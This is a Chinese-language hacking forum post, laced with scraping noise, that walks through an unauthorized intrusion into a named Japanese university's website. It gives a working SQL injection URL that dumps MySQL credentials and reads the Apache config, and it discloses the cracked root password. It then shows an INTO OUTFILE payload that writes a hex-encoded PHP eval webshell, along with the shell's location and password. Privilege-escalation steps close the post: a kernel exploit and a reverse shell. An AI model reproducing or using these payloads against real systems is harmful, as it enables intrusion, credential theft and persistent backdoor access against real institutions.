中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
& N. J+ O! G2 a  i! ?4 o! i  y; i( o
http://www.doshisha.ac.jp/chs/news/index.php?i=-1* F2 {) J4 Z# Q
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
: d! |" c% l. @6 c' q) w3 Z0 v; L
7 X: p! Z# R( K. Shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
. \' b7 x8 M: }, n  k( w; z
8 V0 V' L$ l1 Q$ k5 [6 C
& b2 `. j3 y; p7 Z- K: D
0 `7 f. a. W1 m- ~//@@datadir为数据库文件路径 : N6 ?: P( A) v8 {
$ q8 k$ e- Y/ N" v7 f' G
# j0 i4 V5 r, s1 E% l% v2 O) q
//load_file读取网站容器apache的配置文件 + Z9 k- v8 x  O2 I$ i

( P2 J- d) E; L. {0 i
+ q5 {% a+ @/ p8 W//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 & Z( t9 H! L5 G9 d
复制代码
1 o" N% d) r" W
0 F3 L% I3 f, Y3 O& p虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。4 S; ^7 j2 A0 F2 ]! j, d& B

  C' X# Q2 |% Q+ a( P3 A$ l& I而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。3 h/ ]% ?  g  F5 K8 j; i6 D0 p) S
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
+ M4 C9 q+ h$ x: E* P( Y) T( Q4 F' s4 V
8 q" ~) Q# |$ F) S  ^" H5 n( e) J! S4 l前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
5 h* `- n6 x. n% \% a' y如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html3 `1 ^7 Q9 j1 W6 `+ R
/ O; F. W9 E8 F7 b5 x* p
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
3 Z4 ]' F% d9 {( p% H1 u/ p虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 V! a! F7 B4 L3 U4 `- Q
直接写一句话:
6 T6 X5 b" v0 ?% J
& ~7 S1 @+ C2 E- V6 C: `+ b9 J- lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  o* ?9 _8 k7 \4 D, c
- ~/ K# b% e+ _% ]& x

1 n7 m  @* J7 u+ U% {, ~8 Q) Y" @+ S. R) M
//最后的#是为了闭合前面的语句
0 _. Y% Z2 |2 P. {5 R
7 ?: p! |) F2 X3 r3 o$ M6 l
& ?. N9 H$ f3 f9 N# k/ z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E % {7 r7 g% ~" x8 O2 h& K/ |+ w# U2 Z
! h4 e  V6 u) v; v$ B1 P/ V& J7 x  R
& k, I! X9 ^! ~# g1 J
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 ]& ?& ?- ~5 O
7 s/ i8 u/ l: H. e
, L' J8 c3 t$ |. Q5 d
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
6 [! U; B$ n: V4 s, o
- Q+ p+ i; X" c% k
" _+ Z  N6 T% \+ {//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
$ _- U) q0 n' P5 y4 K//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 8 v: C/ |: h! |! y& I, [
复制代码
( K1 l# C$ I6 v* m) t, r9 }9 }& b: q, B" |! m
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有! n. X) V: r5 A6 D9 L4 f
通过上述注入语句,我们就得到了一句话木马:' `* O' U$ S, y! _  j1 U
# a/ g; d  a( C- {

% }. g# k  F5 n7 [8 z
0 Z3 ?3 U' w0 z( q9 A  L0 S5 N ' U9 _' \, ?  {. f

6 H/ Q7 G" k; l7 g% \http://www.doshisha.ac.jp/english/engnews_img/aa.php
# F  w, Z. v+ u2 t/ l复制代码
1 J; Q2 H* U# y0 N+ _7 C3 v: ~7 x. i7 y$ H
用菜刀连接,密码是cmd,如图所示:$ T7 Y! T- H0 A" X6 ]: l3 z
然后在命令提示行里看了一下,现在的权限是:
2 s% O# n$ a9 m! u' Y( I
- V( T% X1 T5 R: S+ s, L之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。; n% f2 @+ ~% p( ]9 m
好在赋权给这个文件夹不需要root,直接执行赋权语句:
; A" S# ~5 v( M4 C
- b5 N6 O. |+ L. S - C# n! A9 |: B5 }9 V3 r
/ S/ Z6 o1 h) g) N
5 h* o( o3 f4 X! m5 ^& j3 B% H( k
! |  S( R, t7 W* ^9 ^
chmod +x /tmp/ ( V" j; w' a7 F' x$ [& m# b
复制代码) I2 V5 Z% \' ^

( G3 x' o" {2 _% I在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
4 X6 d( [; M2 v: ]0 L3 ?然后就查了一下内核版本:) q- {! M" S$ B* Z; }
2 [' t9 @1 w( A# _  a5 C

( ?/ G& \1 H0 x' ~3 N# D' O' x" t8 g+ A$ v  m0 J
  M- N: P5 t6 ^, ^7 k
! A$ X$ j# T, L+ q. C) }4 w' d
uname-a
4 C& x; ]! S/ E1 _" o; H4 e- v" A+ _
) w) @, u8 {6 y3 w
8 y! H- V( t5 Z//其实lsb_release -a
' K7 b9 H$ z$ z1 e" @复制代码
3 n3 e" F3 T) d0 x. s; d) p/ G+ M9 K. f' X, v' W8 v
如图所示:, b& U5 d; x- w1 A# g

, I5 ?4 e: V4 G- P8 Y内核版本:linux mainz1 2.6.28-194.e15
5 Z( P( v. b  \/ H1 @1 ^8 s. g系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)( u2 U. p" r* ~4 U- |& }
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹2 f7 u# Z( ~3 v& S' K1 _2 T' F
' n0 [2 N- ^. n# D' t
然后给予执行权限' T7 s7 B/ B9 ^- n4 \
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样% R0 a2 {2 ]0 X: A3 L0 ^. v* J& A( n
- J) }9 L+ _' F

* b; s6 H" j: _
3 m4 _& E- |. `; `/ x: J' T ) Y# H, K  I/ |* @! x4 `( N# [! M

0 _7 E" j# O$ N8 q, Fchmod +x /tmp/2.6.18-194 + `+ U/ y8 T1 F: v# S0 b
复制代码 然后直接执行!~! w! M8 _& Y4 x7 n7 V: y

0 A6 P  C# T% ?* a' W, q4 o总结:
) ~* Z% }, U1 D2 e. ^这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
, Y, k/ D8 Q' c+ C7 Q提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
6 r  `3 n# H; O3 d2 x2 y( |: S5 g/ _! W  B* g- a. s





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2